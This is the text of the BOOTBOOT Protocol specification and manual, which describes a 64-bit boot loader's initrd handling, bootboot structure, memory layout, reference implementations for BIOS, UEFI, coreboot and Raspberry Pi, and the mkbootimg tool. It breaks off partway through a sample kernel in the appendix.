03ba6e0993995ad0baca4b2c90d3c7b515804d9f
|
The
BOOTBOOT
Protocol
Specification and Manual
First Edition
2017 - 2021
Copyright
The BOOTBOOT Protocol and the reference implementations are the intellectual property of
Baldaszti Zoltán Tamás (BZT) bztemail at gmail dot com
and licensed under the
MIT licence
Copyright (C) 2017 - 2021 bzt (bztsrc@gitlab)
Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
Table of Contents
Preface........................................................................................................................................5
Introduction.................................................................................................................................7
Specification...............................................................................................................................9
Booting an Operating System..............................................................................................9
On Operating System Kernel Designs...............................................................................9
The Initial Ramdisk Image.................................................................................................9
The Boot Partition..............................................................................................................10
File System Drivers...........................................................................................................11
Kernel Format.....................................................................................................................12
Protocol Levels.................................................................................................................12
Static.................................................................................................................................12
Dynamic............................................................................................................................12
Entry Point.......................................................................................................................12
Environment.....................................................................................................................13
The bootboot Structure.......................................................................................................14
Header Fields....................................................................................................................14
Platform Independent......................................................................................................14
Platform Dependent Pointers.........................................................................................16
Memory Map Entries..........................................................................................................16
Linear Frame Buffer..........................................................................................................17
Machine State....................................................................................................................17
Reference Implementations.................................................................................................19
IBM PC BIOS / Multiboot / El Torito / Linux boot..........................................................20
Initial Ramdisk................................................................................................................20
Memory Map....................................................................................................................20
Linear Frame Buffer.......................................................................................................20
Machine State................................................................................................................20
Limitations.......................................................................................................................20
Booting............................................................................................................................20
IBM PC UEFI....................................................................................................................21
Initial Ramdisk................................................................................................................21
Memory Map....................................................................................................................21
Linear Frame Buffer.......................................................................................................21
Machine State................................................................................................................21
Limitations.......................................................................................................................21
Booting............................................................................................................................21
Coreboot payload................................................................................................................22
Initial Ramdisk..................................................................................................................22
Memory Map.....................................................................................................................22
Linear Frame Buffer.......................................................................................................22
BOOBOOT Protocol
Machine State..................................................................................................................22
Limitations......................................................................................................................22
Booting............................................................................................................................22
Raspberry Pi 3 / 4............................................................................................................23
Initial Ramdisk..............................................................................................................23
Memory Map..................................................................................................................23
Linear Frame Buffer......................................................................................................23
Machine State................................................................................................................23
Limitations......................................................................................................................23
Booting............................................................................................................................23
The mkbootimg Disk Image Creator Tool........................................................................24
Creating an initrd ROM image.....................................................................................24
Creating an ESP FAT partition......................................................................................24
Creating a hybrid GPT disk / ISO9660 CDROM/DVD image.......................................24
Checking kernel for BOOBOOT Protocol Level Compliance.......................................24
APPENDIX......................................................................................................................25
Creating a GPT ESP partition.......................................................................................25
A sample BOOBOOT compatible kernel.......................................................................25
A sample Makefile.........................................................................................................27
A sample linker script.................................................................................................27
A sample Symmetric Multi Processing code...............................................................28
A sample grub.cfg entry..............................................................................................28
A sample mkbootimg.json configuration file..............................................................28
Loading emergency initrd over serial.........................................................................28
Troubleshooting............................................................................................................29
INDEX.............................................................................................................................31
Preface
“A beginning is a very delicate time.”
/ Frank Herbert /
In the last decade of personal computers era big changes happened in the way how computers boot. With the appearance of 64 bit, for the first time in computer’s history, the memory address space became bigger than the storage capacity altogether. This yielded fundamental changes in firmware.
Also storage capacity kept growing if not according to Moore’s Law, but in a very fast curve. Old ways of storing partitioned data became obsolete, and new partitioning tables were invented, one of which became the new de facto standard.
Unfortunately the firmware that introduced the new partitioning format is way too complex and bloated, and therefore many manufacturers refuse to implement it (specially on small hardware with limited resources). As a result, there is no de facto standard for a booting interface, different hardware use different, incompatible ways of booting. Not all firmware implemented that new partitioning table either. To make things worse, many of them also kept backward compatibility with ancient machines.
There are attempts to make booting unified, but unfortunately in a so complex and bloated way again, that one could easily call that loader an OS of it’s own right.
Therefore I’ve created a specification for a common way of starting an operating system, and I’ve provided several different reference implementations one for each platform. The goal is, by the time those small platform dependent code’s execution finished, there’s a common 64 bit environment on all platforms, capable of running an unmodified C code compiled with the same linker script. The source and the pre-compiled binaries (along with an example C, C++, Pascal, Ada, Rust and Go kernels) can be downloaded at:
https://gitlab.com/bztsrc/bootboot
Those reference implementations are Open Source and Free Software, and come without any warranty in the hope that they will be useful.
Baldaszti Zoltán Tamás
BOOT Protocol
Page left blank intentionally
Introduction
When you turn on a computer, an operating system has to be loaded. There are sophisticated programs to allow you to choose from multiple systems on a single machine such as GRUB. Those are called boot managers. BOOTBOOT is not one of them. It is a boot loader, with the goal of providing the same 64 bit environment on several different platforms (to store the bytes “BOOTBOOT” in memory requires 64 bits). If you want to have multiple boot options on one computer, you must install a boot manager with a BOOTBOOT loader option in order to boot a BOOTBOOT compatible operating system. If you are fine with having only one operating system per machine, there’s no need for a boot manager, the boot loader alone is enough.
The operating system can be loaded in many different ways. From ROM, from flash, from a disk, from SD card, over serial cable or over the network etc. The BOOTBOOT Protocol does not specify these. Neither does it specify the archive image’s format of the ramdisk used. These are subject to change from time to time and from system to system.
The protocol mandates though that if the operating system is stored on disk, that disk must follow the GUID Partitioning Table format (or any later de facto standard partitioning format). As not all firmware support partitioning equally, it is the loader’s responsibility to hide this and locate the operating system on a partitioned disk. Therefore end users do not have to care about firmware differences when they want to boot from a disk partitioned and formatted on another machine.
A few words on the operating system’s kernel format itself. As of writing, there is no de facto standard, but two most widely used formats: the Executable and Linkable Format, and the Portable Executable format. It would be unfair to say one is better than the other, since they both represent the same information just in a different way. Therefore both are supported by the protocol. If one of them (or a new format) became the standard, the protocol has to be revised, and should focus on that format alone, so that the end users don’t have to care about executable format either.
Finally the organization of this documentation. There are two parts: first part describes the protocol in general, and the second part describes the reference implementations on different platforms.
Page left blank intentionally
Specification
The first part of this documentation contains the BOOTBOOT Protocol specification.
Booting an Operating System
The term booting a computer refers to many things, but at the end of the day it means only one: pass the control to the operating system’s kernel along with environmental information.
On Operating System Kernel Designs
There are two common kinds of kernels. First one contains everything in a single, mostly statically linked image (monolithic kernel). The second kind separated into several files. That keeps the privileged duties to a small kernel (micro-kernel, exokernel, hypervisor etc.) and everything else is pushed into separated user space tasks which usually are stored in separate files (but not necessarily, see Minix).
Both kinds may have initial ramdisks. Used to store files in memory during boot prior to any on disk file system available. For monolithic design that image is usually loaded along with the kernel and (as drivers are included in the kernel), optional. On the other hand for micro-kernels such an archive image for ramdisk is essential if each task’s code is in a separate file.
The creator of BOOTBOOT Protocol and the vast majority of OS developers consider the micro-kernel design more secure and flexible (and also most monolithic design already have their own way of booting for each and every platform), so the BOOTBOOT Protocol is for micro-kernels.
The Initial Ramdisk Image
As the protocol focuses on micro-kernel design which needs several other files (drivers and such), it requires that the operating system has an initial ramdisk image. And as the image has to be loaded anyway, it’s beneficial to store the kernel itself inside. This is not common as of writing, but simplifies booting procedure by reducing the number of required files to one just as with the monolithic design. Note that the protocol is flexible enough to load a single, statically linked kernel with more tasks (like Minix) as a “ramdisk” image.
Compression on ramdisk image is optional. Reference implementations support gzip deflate compressed images, but other implementation may use different algorithms as long as the compression can be detected by magic bytes. A BOOTBOOT compliant loader will uncompress the image once loaded into memory. As the whole image is loaded entirely, it should be kept small (few megabytes).
The uncompressed format of the ramdisk image is not part of the protocol. Each and every operating
system are free to choose what’s best for it’s purpose. Therefore BOOTBOOT Protocol only specifies an
Application Programming Interface to parse the image for a file, and a fallback option.
The Boot Partition
The protocol does not describe the whereabouts of the initial ramdisk image. It only expects that a
BOOTBOOT Protocol compliant loader can locate, load and uncompress it into RAM. The reference
implementations use files over serial, ROM and disks with boot partition as source.
BOOTBOOT Protocol assumes that the disk partitioning format is the GUID Partitioning Table. The
reason for this is inter-operability among different operating systems.
A boot partition is a small partition at the beginning of the disk. It may store files relevant to the
firmware, but most importantly for the protocol, the initial ramdisk image.
If the boot partition has a file system, for compatibility reasons it has to be FAT16 or FAT32 formatted.
Many firmware (such as UEFI and the Raspberry Pi) mandates this too for their firmware partition. If
the boot partition holds firmware files for booting, it should have the type of “EFI System Partition” or
ESP in short. This is so because GPT was introduced with the EFI firmware (superseded by UEFI). In
this set-up the initial ramdisk image is a file on the boot partition, located in:
BOOTBOOT\INITRD
or with multiple architecture support on the same partition (only for live OS images):
BOOTBOOT\(arch)
like BOOTBOOT\X86_64, BOOTBOOT\AARCH64 or BOOTBOOT\RISCV64.
If the firmware’s partition does not use a file system, or does not understand FAT16 or FAT32 or has a
specific type (so that ESP type cannot be used), then firmware partition and boot partition became two
separate partitions.
In that case an operating system designer has two option: either creating another partition with FAT and
a BOOTBOOT directory with the initial ramdisk file in it; or they can put the ramdisk image on the
whole partition, leaving the FAT file system entirely out. In either case, the boot partition has to be
marked as $EFI\_PART\_USED\_BY\_OS$ (bit 2 in GPT Partition Entry’s attribute flag set).
Keep in mind that ramdisk image will be loaded entirely in memory, so if it occupies the whole boot
partition, that partition should be small (few megabytes).
File System Drivers
As mentioned before, the BOOTBOOT Protocol does not specify the initial ramdisk format, instead it uses so called file system drivers with one API function:
```c
typedef struct {
uint8_t *ptr;
uint64_t size;
} file_t;
file_t myfs_initrd(uint8_t *initrd, char *filename);
```
In the reference implementations’ source those file system drivers are separated in a file called `fs.h` (or `fs.inc`). Each supported ramdisk image format has exactly one function in those files.
Each function receives the address of the initial ramdisk image, and a pointer to a zero terminated ASCII filename. If the file referenced by that filename found, the function should return a struct with a pointer to the first byte of the file content and the content’s size. If needed, the file system driver allowed to allocate memory. On error (when the format not recognized or the file is not found) the function must return `{NULL, 0}`. The protocol expects that a BOOTBOOT compliant loader iterates on the list of drivers until one returns a valid result.
If all the file system drivers failed and returned `{NULL,0}`, a fallback driver will be initiated. That fallback driver will scan the ramdisk for the first file which has a valid executable format for the architecture. So file permissions and attributes does not matter, only the file header counts.
If the ramdisk format is supported by one of the file system drivers, the name of the kernel can be passed in the environment with the key `kernel`.
The reference implementations support the following archive and file system image formats:
- `statically linked executable` (all files linked together into one executable)
- `ustar`
- `cpio` (hpodc, newc and crc variants)
- `FS/Z` (OS/Z’s native file system)
- `SFS` (osdev.org’s own file system)
- `James Molloy’s initrd` (popular among hobby OS developers for some reason)
- `EchFS` (echidnaFS, a very very simple file system)
Other archive and file system format support can be added any time according the needs of the operating system, with one exception. The FAT file system is not allowed as initial ramdisk format. This is not a serious restriction as FAT is not efficient as an in memory file system, so it’s unlikely someone wants to use that. Ustar or cpio would be a far better choice.
Kernel Format
The kernel executable should be either an **Executable and Linkable Format** (ELF), or a **Portable Executable** (PE). In both cases the format itself must be 64 bit (**ELFCLASS64** in ELF and **PE_OPT_MAGIC_PE32PLUS** in PE). The code segment must be compiled for a native 64 bit architecture and linked in the negative address range (with another terminology, higher half address space). The reference implementations support **EM_X86_64** (62), **EM_AARCH64** (183) or **EM_RISCV** (243) in ELF, and **IMAGE_FILE_MACHINE_AMD64** (0x8664), **IMAGE_FILE_MACHINE_ARM64** (0xAA64) or **IMAGE_FILE_MACHINE_RISCV64** (0x5064) in PE. The **x86_64** architecture is used by the BIOS / Multiboot / El Torito, UEFI and Coreboot loaders, while **AArch64** is supported on the Raspberry Pi 3 and 4.
Protocol Levels
Now where the kernel is mapped depends on the loader’s protocol level. Some reference implementation use level 1, **PROTOCOL_STATIC**. Most uses level 2, **PROTOCOL_DYNAMIC** (see below). Level 0, **PROTOCOL_MINIMAL** is used for embedded systems where environment is not implemented, all values and addresses are hardcoded and the frame buffer may not exists at all.
**Static**
A loader that implements protocol level 1, maps the kernel and the other parts at static locations in accordance with the linker (see chapter “Machine State” for the exact addresses). In the specification hereafter, the static protocol’s addresses will be used for simplicity. For forward compatibility, all BOOTBOOT compatible kernels must provide symbols required by level 2.
**Dynamic**
A level 2 dynamic loader on the other hand generates memory mapping according what’s specified in the kernel’s symbol table. It only differs from level 1 that the addresses are flexible (but still limited to the negative address range -1G to 0, and the addresses must be page aligned):
- Kernel will be mapped at executable header’s *Elf64_Ehdr.p_vaddr* or *pe_hdr.code_base* field.
- The bootboot structure will be mapped at the address of *bootboot* symbol.
- The environment string will be mapped at the address of *environment* symbol.
- The linear frame buffer will be mapped at the address of *fb* symbol.
- The MMIO area will be mapped at address of *mmio* symbol.
Entry Point
When BOOTBOOT compliant loader finished with booting, it will hand over the control to the kernel at the address specified in *Elf64_Ehdr.e_entry* or *pe_hdr.entry_point*.
Environment
If the boot partition has a FAT file system, the environment configuration is loaded from
BOOTBOOT\CONFIG
If the initial ramdisk occupies the whole boot partition, then file system drivers are used to locate
sys/config
If the latter is not appropriate for the operating system, the name of the file can be altered in bootboot source. The size of the environment is limited to the size of one page frame (4096 bytes).
Configuration is passed to your kernel as newline (‘\n’ or 0xA) separated, zero terminated UTF-8 string with "key=value" pairs. C style single line and multi line comments are allowed. BOOTBOOT Protocol only specifies two of the keys, screen and kernel, all the others and their values are up to the operating system’s kernel (or device drivers) to parse. Example:
// BOOTBOOT Options
/* --- Loader specific --- */
// requested screen dimension. If not given, autodetected
screen=800x600
// elf or pe binary to load inside initrd
kernel=sys/core
/* --- Kernel specific, you're choosing --- */
anythingyouwant=somevalue
otherstuff=enabled
somestuff=100
someaddress=0xA0000
The screen parameter defaults to the display’s natural size or 1024x768 if that cannot be detected. The minimum value is 640x480.
The kernel parameter defaults to sys/core as the kernel executable’s filename inside the initial ramdisk image. If that does not fit for an operating system, it can be specified in this environment file or can be modified in the bootboot source.
Temporary variables will be appended at the end (from UEFI command line). If multiple instance of a key exists, the latter takes preference over the former (with other words, only the last occurrence counts).
To modify the environment when having booting issues, one will need to insert the disk into another machine (or boot a simple OS like DOS) and edit BOOTBOOT\CONFIG on the boot partition with a
text editor. With UEFI, you can use the edit command provided by the EFI Shell or append "key=value" pairs on the command line (keys specified on command line take precedence over the ones in the file).
The environment is mapped before the kernel image in memory, at address specified by the linker. In kernel, it can be accessed with
```c
extern unsigned char environment[4096];
```
## The bootboot Structure
The bootboot struct is specified in bootboot.h, available at
https://gitlab.com/bztsrc/bootboot/raw/master/dist/bootboot.h
It is the main information structure passed to the kernel by the loader. It is written with a define guard and extern “C” wrapper, so it can be safely used from a C++ kernel too.
The structure consist of a fixed 128 bytes header, followed by a variable sized memory map, where each entry is 16 bytes long. The first 64 bytes of the header are common across platforms, the second 64 bytes are platform specific, and usually holds system resource pointers.
### Header Fields
**Platform Independent**
```c
uint8_t magic[4]; // 0x00-0x03
uint32_t size; // 0x04-0x07
uint8_t protocol; // 0x08
```
The magic bytes \textit{BOOTBOOT MAGIC}, “BOOT”.
The size of the bootboot struct. That is 128 bytes at least, plus the memory descriptors’ size.
This informational field encodes BOOTBOOT Protocol level in bits 0 – 1 (as implemented by the loader which constructed the struct). Either \textit{PROTOCOL_STATIC} (1) or \textit{PROTOCOL_DYNAMIC} (2). If bit 7 (the sign bit) is set, then the structure has big-endian values, \textit{PROTOCOL_BIGENDIAN} (0x80). Bits 2 – 6 encode another informational field for the kernel, either \textit{LOADER_BIOS} (0), \textit{LOADER_UEFI} (1), \textit{LOADER_RPI} (2) or \textit{LOADER_COREBOOT}(3) for now. New values will be defined by future versions of this documentation.
The frame buffer format, $FB_{ARGB}$ (0) to $FB_{BGRA}$ (3). The most common is $FB_{ARGB}$, where
the least significant byte is blue, and the most significant one is skipped (as alpha channel is not used on
lfb) in little-endian order.
The number of CPU cores. On Symmetric Multi Processing platforms this can be larger than 1.
The BootStrap Processor ID on platforms that support SMP (Local APIC ID on x86_64).
The machine’s detected timezone if such a thing supported on the platform. Stored as an integer in
minutes, from $-1440$ to $1440$, and does not affect the $datetime$ field (which is always in UTC).
The UTC date of boot in binary coded decimal on platforms that have RTC chip. The first two bytes in
hexadecimal gives the year, for example 0x20 0x17, then one byte the month 0x12, one byte the day
0x31. Followed by hours 0x23, minutes 0x59 and seconds 0x59 bytes. The last byte can store 1/100th
second precision, but in lack of support on most platforms, it is 0x00. Not influenced by the $timezone$
field.
The physical address and size of the initial ramdisk in memory (mapped in the positive address range).
Frame buffer physical address and size in bytes. Do not confuse with linker specified $fb$ virtual address.
The frame buffer resolution and bytes per line as stored in memory (see chapter “Linear Frame Buffer”
for details).
**Platform Dependent Pointers**
The second 64 bytes of the header are architecture specific. Only used on x86_64 architecture:
```c
uint64_t x86_64.acpi_ptr; // 0x40-0x7F
uint64_t x86_64.smbi_ptr;
uint64_t x86_64.efi_ptr;
uint64_t x86_64.mp_ptr;
uint64_t x86_64.unused0;
uint64_t x86_64.unused1;
uint64_t x86_64.unused2;
uint64_t x86_64.unused3;
```
Only on AArch64. The `mmio_ptr` holds the physical address of the BCM2837 MMIO (also mapped in kernel space at `mmio`):
```c
uint64_t aarch64.acpi_ptr; // 0x40-0x7F
uint64_t aarch64.mmio_ptr;
uint64_t aarch64.efi_ptr;
uint64_t aarch64.unused0;
uint64_t aarch64.unused1;
uint64_t aarch64.unused2;
uint64_t aarch64.unused3;
```
**Memory Map Entries**
```
MMapEnt mmap; // 0x80-0xFFF
```
A platform independent, sorted by address memory map. If a kernel does not want to check the upper bound for this list, the number of entries can be calculated with
```
num_mmap_entries = (bootboot.size – 128) / 16;
```
The memory entry information can be extracted with the following C macros:
- `MMapEnt_Ptr(a)` = the pointer of the memory area
- `MMapEnt_Size(a)` = the size of the memory area in bytes
- `MMapEnt_Type(a)` = the type of the memory area in range of 0 – 15
- `MMapEnt_IsFree(a)` = returns true if the memory area can be used by the OS.
The type returns one of `MMAP_USED` (0), `MMAP_FREE` (1), `MMAP_ACPI` (2), `MMAP_MMIO` (3, memory mapped IO area). Any other value is considered to be `MMAP_USED`. The bootboot struct is mapped before the kernel image in memory, at address specified by the linker. In the kernel, that struct can be accessed with
```
extern BOOTBOOT bootboot;
```
Linear Frame Buffer
The frame buffer is initialized in 32 bit packed pixel format, preferably in ARGB mode. It’s resolution will be the display’s native resolution or 1024x768 if that can’t be detected. The requested screen resolution can be passed in environment with the `screen=WIDTHxHEIGHT` paramter. If the ARGB mode is not supported, `bootboot.fb_type` tells the ordering of color channels.
The frame buffer is mapped along with other MMIO areas before the kernel in memory, at address specified by the linker. In the kernel, the buffer can be accessed with
```
extern uint8_t fb;
uint32_t *pixel = (uint32_t*)(&fb + offset);
```
Screen coordinates (X, Y) should be converted to offset as:
```
offset = (bootboot.fb_height – 1 – Y) * bootboot.fb_scanline + 4 * X.
```
Although `bootboot.fb_size` is a 32 bit value, level 1 loaders with static `fb` address limit the frame buffer’s size somewhere around 4096 x 4096 pixels (depends on bytes per line and aspect ratio too). That's more than enough for an Ultra HD 4K (3840 x 2160) resolution. Level 2 loaders will map the frame buffer where the kernel’s `fb` symbol tell to, therefore they don’t have such limitation.
Machine State
When the kernel gains control, a serial debug console is initialized, hardware interrupts are masked and code is running in supervisor mode. The floating point co-processor (FPU) and SIMD instructions must be enabled with a reasonable extension level (SSEx, Neon). SMP initialized, all cores running (see Appendix). The virtual memory is enabled as the MMU is turned on, and memory layout goes as follows:
The RAM (up to 16G) is identity mapped in the positive address range (user space memory or lower half). Negative addresses belong to the kernel, and should not be accessible from unprivileged mode (higher half).
The uncompressed initial ramdisk is entirely in the identity mapped area, and can be located using bootboot struct's `initrd_ptr` and `initrd_size` members.
The screen is properly set up with a 32 bit linear frame buffer, mapped at the negative address defined by the `fb` symbol at `-64M` or `0xFFFFFFFF_FC000000` (along with the other MMIO areas at `-128M` or `0xFFFFFFFF_F8000000` if they exists on the architecture, with physical address in the `mmio_ptr` field). The physical address of the frame buffer can be found in the `fb_ptr` field.
The main information bootboot structure is mapped at bootboot symbol, at `-2M` or `0xFFFFFFFF_FFE00000`.
BOOTBOOT Protocol Specification
The environment configuration string (or command line if you like) is mapped at environment symbol, at -2M + 1 page or 0xFFFFFFFF_FFE01000.
Kernel's combined code and data segment is mapped at -2M + 2 pages or 0xFFFFFFFF_FFE02000. After that segment, at a linker defined address, comes the bss data segment, zerod out by the loader. Level 1 protocol limits the kernel's size in 2M, including info, code, data, bss and stack. That should be more than enough for any micro-kernels. Level 2 has a limit of 16M for code, data and bss. If a kernel wants to separate it's code on a read-only segment and data on a non-executable segment for security, it can override the page translation tables as soon as it gains control. BOOTBOOT Protocol does only handle one loadable segment for simplicity (called boot in the example linker script, see Appendix).
The kernel stack is at the top of the memory, starting at zero and growing downwards. The first page(s) are mapped by the loader, other pages have to be mapped by the kernel if needed. Each core’s stack starts at a different address and has 1k length if SMP supported. Level 2 loaders can set the size of the stack with the initstack symbol.
Using memory mapped regions at linker specified addresses is simple enough (no API required and ABI doesn’t matter) and provides a platform independent way of passing information to the kernel.

Reference Implementations
The second part of this documentation describes the reference implementations. This serves as a user manual and also as a library reference for used firmware functions.
All implementations are freely available for download at
https://gitlab.com/bztsrc/bootboot
- **x86_64-bios**: IBM PC BIOS / Multiboot / El Torito / Linux boot implementation
- **x86_64-uefi**: IBM PC UEFI implementation
- **x86_64-cb**: coreboot payload implementation
- **aarch64-rpi**: Raspberry Pi 3 / 4 implementation
- **mykernel**: a sample BOOTBOOT compatible kernel for testing
- **mkbootimg**: an all-in-one, dependency-free bootable disk and partition creation tool
*Figure: The sample kernel’s screen for reference*
IBM PC BIOS / Multiboot / El Torito / Linux boot
Initial Ramdisk
Supported as BIOS Expansion ROM (up to ~96k). Not much space, but can be compressed. From disk the initial ramdisk is loaded with the BIOS INT 13h / AH=42h function.
Memory Map
The memory map is queried with BIOS INT 15h / AX=0E820h function.
Linear Frame Buffer
Frame buffer initialization is done with VESA 2.0 VBE, INT 10h / AH=4Fh functions.
Machine State
The A20 gate is enabled, serial debug console COM1 is initialized with INT 14h / AX=0401h function to 115200,8N1. Boot datetime are queried with INT 1Ah. IRQs masked. GDT unspecified, but valid, IDT unset. SSE enabled, SMP initialized. Code is running in supervisor mode in ring 0 for all cores.
Limitations
- As it boots in protected mode, it only maps 4G of RAM, that’s passed to the 64 bit kernel
- The CMOS nvram does not store timezone, so always GMT+0 returned in bootboot.timezone.
- Does not support AES-256-CBC encrypted initrds, only SHA-XOR-CBC.
Booting
- **BIOS disk / cdrom**: copy `bootboot.bin` to `FS0:\BOOTBOOT.BIN`. You can also place it totally outside of any partition (with `dd conv=notrunc seek=x`). Also install `boot.bin` in the El Torito CDROM boot catalog, Master Boot Record (or in Volume Boot Record if you have a boot manager), saving bootboot.bin's first sector in a dword at 0x1B0. The `mkboot` utility will save that for you, see ([https://gitlab.com/bztsrc/bootboot/blob/master/x86_64-bios/mkboot.c](https://gitlab.com/bztsrc/bootboot/blob/master/x86_64-bios/mkboot.c)).
- **BIOS ROM**: install `bootboot.bin` in a **BIOS Expansion ROM**.
- **GRUB**: specify `bootboot.bin` as a Multiboot "kernel" in grub.cfg, or you can also chainload `boot.bin`. Both initrd and environment can be loaded as modules too (see Appendix).
IBM PC UEFI
On UEFI machines (http://www.uefi.org/), the operating system is loaded by a standard EFI OS loader application.
**Initial Ramdisk**
Supported in ROM (up to 16M) as a PCI Option ROM. It is located with the EFI_PCI_OPTION_ROM_TABLE protocol and (with “-s”) direct probing for magic bytes in memory.
From disk the initial ramdisk is loaded with the EFI_SIMPLE_FILE_SYSTEM_PROTOCOL or BLOCK_IO_PROTOCOL when GPT is directly parsed. This implementation supports both SHA-XOR_CBC and AES-256-CBC encrypted initrds.
**Memory Map**
The memory map is queried with EFI_GET_MEMORY_MAP boot time service.
**Linear Frame Buffer**
Frame buffer is set up using the EFI_GRAPHICS_OUTPUT_PROTOCOL (GOP in short).
**Machine State**
Debug console is implemented with SIMPLE_TEXT_OUTPUT_INTERFACE which can be redirected to serial. Boot date and time are queried with EFI_GET_TIME. IRQs masked. GDT unspecified, but valid, IDT unset. SSE enabled, SMP initialized with native trampoline code (optionally with EFI_MP_SERVICES_PROTOCOL). Code is running in supervisor mode in ring 0 for all cores.
**Limitations**
- The PCI Option ROMs should be signed in order to work.
**Booting**
- **UEFI disk**: copy bootboot.efi to `FS0:\EFI\BOOT\BOOTX64.EFI`.
- **UEFI ROM**: use bootboot.rom which is a *PCI Option ROM* image of bootboot.efi.
- **GRUB, UEFI Boot Manager**: add *bootboot.efi* to boot options.
Coreboot payload
The protocol is also supported as a [https://coreboot.org](https://coreboot.org) payload. This means it is implemented in the “BIOS”.
Initial Ramdisk
The ramdisk can be placed on a Flashmap partition, or added to the COREBOOT partition using
```
$ cbfstool coreboot.rom add -t raw -f initrd.tgz -n bootboot/initrd
```
Otherwise it can be loaded through serial line, or from a GPT partitioned disk, using libpayload’s storage (ATA, ATAPI, SATA, AHCI), USB disk interfaces and a fallback IDE ATA driver. If libpayload is compiled with LZMA (xz) or LZ4 compression, then in addition to gzip deflate those are supported too.
Memory Map
Queried with libpayload’s lib_sysinfo memranges.
Linear Frame Buffer
Not set explicitly, coreboot is expected to be configured for a proper linear frame buffer.
Machine State
Debug console is implemented with libpayload’s console which is by default redirected to serial. Boot date and time are queried with rtc_read_clock(). IRQs masked. GDT unspecified, but valid, IDT unset. SSE enabled, SMP initialized. Code is running in supervisor mode in ring 0 for all cores.
Limitations
- The CMOS nvram does not store timezone, so always GMT+0 returned in bootboot.timezone.
- Coreboot does not provide a way to set screen resolution, so "screen=" config option is not used.
- Does not support AES-256-CBC encrypted initrds, only SHA-XOR-CBC.
Bootimg
- In emulator, `qemu-system-x86_64 -bios coreboot.rom`.
- Otherwise flash `coreboot.rom` to your motherboard’s chip.
Raspberry Pi 3 / 4
On Raspberry Pi (https://www.raspberrypi.org/) board the bootboot.img is loaded from the boot partition on SD card as kernel8.img by start.elf.
Initial Ramdisk
No ROM support on the platform, but initrd can be loaded over serial. Ramdisk is loaded by an EMMC SDHC driver implemented in bootboot. Gzip compression is not recommended as it’s slow.
Memory Map
The memory map is handcrafted with information obtained from VideoCore MailBox’s properties channel. In addition to standard mappings, the BCM2837 MMIO is also mapped in kernel space before the frame buffer at -128M or 0xFFFFFFFF_F8000000. The physical address can be acquired from bootboot.aarch64.mmio_ptr field of the information structure, detected by using MIDR_EL1.
Linear Frame Buffer
Frame buffer is set up with VideoCore MailBox messages.
Machine State
Serial debug console is implemented on UART0 (PL011), with 115200,8N1 and USB debug cable on GPIO pins 14 / 15 connected to a PC. Co-processor enabled, code is running in supervisor mode, at EL1 for all cores.
Limitations
- Maps 1G of RAM, because most Raspberry Pi boards don’t have more
- Does not have an on-board RTC chip, so bootboot.datetime is set to 0000-00-00 00:00:00.
- SD cards other than SDHC Class 10 are not tested
- Does not support AES-256-CBC encrypted initrds, only SHA-XOR-CBC.
Booting
- **SD card**: copy *bootboot.img* to *FS0:KERNEL8.IMG*. You’ll need other firmware files (bootcode.bin, start.elf) as well. The GPT is not supported directly, therefore ESP partition has to be mapped in MBR so that Raspberry Pi firmware could find those files. The *mkboot* utility (https://gitlab.com/bztsrc/bootboot/blob/master/aarch64-rpi/mkboot.c) will do that for you.
- **Serial**: copy *bootboot.img* to *FS0:KERNEL8.IMG*, but do not create the BOOTBOOT directory.
The mkbootimg Disk Image Creator Tool
This is a simple, dependency-free image creator that is written in ANSI C. It can create FAT partitions, GPT disk images and hybrid ISO9660 (CDROM/DVD) images.
Creating an initrd ROM image
Assuming you have a valid configuration, you can convert that into a BIOS Option ROM with
```
./mkbootimg myos.json initrd.rom
```
Creating an ESP FAT partition
To save only the boot partition image, use
```
./mkbootimg myos.json bootpart.bin
```
Creating a hybrid GPT disk / ISO9660 CDROM/DVD image
Using any other file, or disk device filename will generate a full disk image with
```
./mkbootimg myos.json disk.img
```
Checking kernel for BOOTBOOT Protocol Level Compliance
As a bonus, this tool can also used to check a kernel executable.
```
./mkbootimg check ../mykernel/mykernel.x86_64.elf
```
Complies with BOOTBOOT Protocol Level 1 and 2, valid dynamic addresses
APPENDIX
Creating a GPT ESP partition
```bash
# fdisk /dev/sdc
Welcome to fdisk (util-linux 2.30.2).
Changes will remain in memory only, until you decide to write them.
Be careful before using the write command.
Device does not contain a recognized partition table.
Created a new DOS disklabel with disk identifier 0xfa00b86e.
Command (m for help): g
Created a new GPT disklabel (GUID: E6B4945A-8308-448B-9ACA-0E656854CF66).
Command (m for help): n p
Partition number (1-128, default 1): 1
First sector (2048-262110, default 2048):
Last sector, +sectors or +size{K,M,G,T,P} (2048-262110, default 262110): +8M
Created a new partition 1 of type 'Linux filesystem' and of size 8 MiB.
Command (m for help): t 1
Selected partition 1
Partition type (type L to list all types): 1
Changed type of partition 'Linux filesystem' to 'EFI System'.
Command (m for help): w
The partition table has been altered.
Syncing disks.
# mkfs.vfat -F 16 -n "EFI System" /dev/sdc1
mkfs.fat 4.1 (2017-01-24)
mkfs.fat: warning - lowercase labels might not work properly with DOS or Windows
# mkboot /dev/sdc
mkboot: GPT ESP mapped to MBR successfully
```
A sample BOOTBOOT compatible kernel
```c
/*
* mykernel/kernel.c
*
* Copyright (c) 2017 bzt (bztsrc@gitlab)
*
* This file is part of the BOOTBOOT Protocol package.
* @brief A sample BOOTBOOT compatible kernel
*
*/
/* function to display a string, see below */
void puts(char *s);
/* we don't assume stdint.h exists */
typedef short int int16_t;
typedef unsigned char uint8_t;
typedef unsigned short int uint16_t;
typedef unsigned int uint32_t;
typedef unsigned long int uint64_t;
```
BOOBOOT Protocol APPENDIX
#include <bootboot.h>
/* imported virtual addresses, see linker script */
extern BOOBOOT bootboot; // see bootboot.h
